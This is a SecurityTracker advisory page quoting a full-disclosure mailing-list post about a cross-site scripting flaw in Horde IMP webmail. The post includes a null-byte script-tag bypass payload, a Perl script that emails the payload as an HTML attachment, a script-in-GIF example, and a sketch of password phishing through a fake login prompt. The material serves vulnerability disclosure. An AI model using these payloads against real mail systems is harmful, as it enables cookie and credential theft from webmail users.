SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (E-mail Server)  >   Horde Internet Messaging Program (IMP) Vendors:   Horde Project
Horde Internet Messaging Program (IMP) Lets Remote Users Conduct Cross-Site Scripting Attacks Using Special Character Encoding
SecurityTracker Alert ID:  1015315
SecurityTracker URL:  http://securitytracker.com/id/1015315
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Dec 6 2005
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
Exploit Included:  Yes  

Description:   A vulnerability was reported in Horde Internet Messaging Program (IMP). A remote user can conduct cross-site scripting attacks.

The software does not properly filter HTML code from user-supplied input before displaying the input. A remote user can send specially crafted e-mail that, when viewed by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the Horde IMP software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit [that works with Internet Explorer] is provided:

<s0x00hcript>alert('HORDE')</s0x00hcript>

The body of the message is affected. Image attachments are also affected.

Igor reported this vulnerability.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the Horde IMP software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.horde.org/imp/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.


 Source Message Contents

Subject:  [Full-disclosure] Horde IMP Webmail Client XSS all versions

Hello All,

PRELUDE
       What is HORDE?
       http://www.horde.org/about/
       The Mission
       The Horde Project is about creating high quality Open Source applications, based on PHP and the Horde Framework.

       The guiding principles of the Horde Project are to create solid standards-based applications using intelligent
       object oriented design that, wherever possible, are designed to run on a wide range of platforms and backends.

       There is great emphasis on making Horde as friendly to non-English speakers as possible.
       The Horde Framework currently supports many localization features such as unicode
       and right-to-left text and generous users have contributed many translations for the framework and applications.

       http://www.horde.org/imp/about/
       Currently Horde Project boasts many applications, some already enterprise-ready and deployed in
       demanding environments, and some exciting new ones still in development.

       http://www.horde.org/imp/4.0/

DESCRIPTION
           HORDE IMP is implementing a security strategy based on attempt to
      strip HTML tags it considers harmful. Before printing an attached
      file Horde will try to strip tags like <script>, <link> etc.
           I can almost see you growing bored at this point - the
      topic is so well-trodden, nevertheless I will continue.
           Those who is exploiting this bug now - don't be sorry for
      it going public - there are numerous but less apparent security issues
      with Horde Imp which will still allow you to achieve the same
      effect when the bug is fixed.
           The next part is going to be a short one, there is nothing
      to explain, the example is self-commented and well known:
      
         <s0x00hcript>alert('HORDE')</s0x00hcript>
         0x00h is an ASCII 00
         
           At this point the marvelous strategy of "stripping" will fail to
      strip <script> as well as the other arbitrary tags which are
      otherwise filtered rendering IMP into some moderate quality
      software. (Will work only for IE).
      
           One can devise various examples playing with unicode
      attachments and strings. Yes it looks like Horde doesn't not know how to
      handle utf16 attachments. As far as this direction is exploited - there is
      a wide playground for those, who are interested, in almost every
      line of Horde products.

      
POC
#
# MIME::Liet SMTP client by C3PO
#
   use strict;
   use MIME::Base64;
   use MIME::Lite;
#----------------------------------------------------
#                    load_file
#----------------------------------------------------
   sub load_file{   
      my($file) = shift;
      my($Body);
      open(IN, $file) || die("Can't open $file $!");
      binmode IN;
      read(IN, $Body, -s $file);  
      close(IN); 
      return $Body;
  }
#----------------------------------------------------
#                      main
#----------------------------------------------------
   my $c = load_file('\Xploits\horder\passed.htm'); #content
   my $m = MIME::Lite->new(
                 From    =>'mail@domain.zone',
                 To      =>'mail@domain.zone',
                 Subject =>'Horde',
                 Date    =>"Tue, 17 Dec 2002 22:00:02 +0300",
                 Type    =>"text/html", 
                 Data    => $c,
                 Filename=>"horde.html",
                 Encoding =>'base64'
                 );
  $m->attr('content-type.charset' => 'windows-1251'); #not necessary
  $m->send("smtp","smtp.domain.zone");
   

passed.htm
may contain an arbitrary HTML code and javascript, as long as IE is
used to view an attachment.
Just save some page and, using any HEX editor (preferable HIEW,
of course) insert
<s0x00hcript>alert('HORDE')</s0x00hcript>
in it.
Attach this file, send it on your mail and view via IMP Webmail using IE.


Yes, your guess is a correct one, image attachments are all so
affected:

test.gif
<script language=javascript>
alert('GIF');
document.location.href='http://i3.microsoft.com/h/en-us/i/one_care_2_10.jpg';
</script>

Attach this gif and try to view it in Horde Imp. Never ever give
direct links on images in your software, especially when the images
are not checked. (IE behavior)

Given this mechanism an attacker may easily steal
user password by devising a DHMTL attachment which will obfuscate user
input, i.e. impersonating the server it will raise an Apache
authorization window and give some "Your password is expired" crap.
The example is not provided.

Yet a closer introspection into the source codes and algorithms may
reveal some other interesting yet questionable strategies which I
leave for you to mess with.

--
Best regards


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC